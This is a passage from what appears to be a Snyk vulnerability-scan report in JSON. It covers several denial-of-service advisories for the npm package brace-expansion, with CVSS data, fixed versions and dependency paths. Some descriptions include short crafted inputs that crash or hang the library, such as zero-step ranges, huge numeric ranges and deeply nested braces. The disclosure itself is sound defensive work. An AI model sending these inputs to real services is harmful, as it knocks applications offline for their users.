Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { 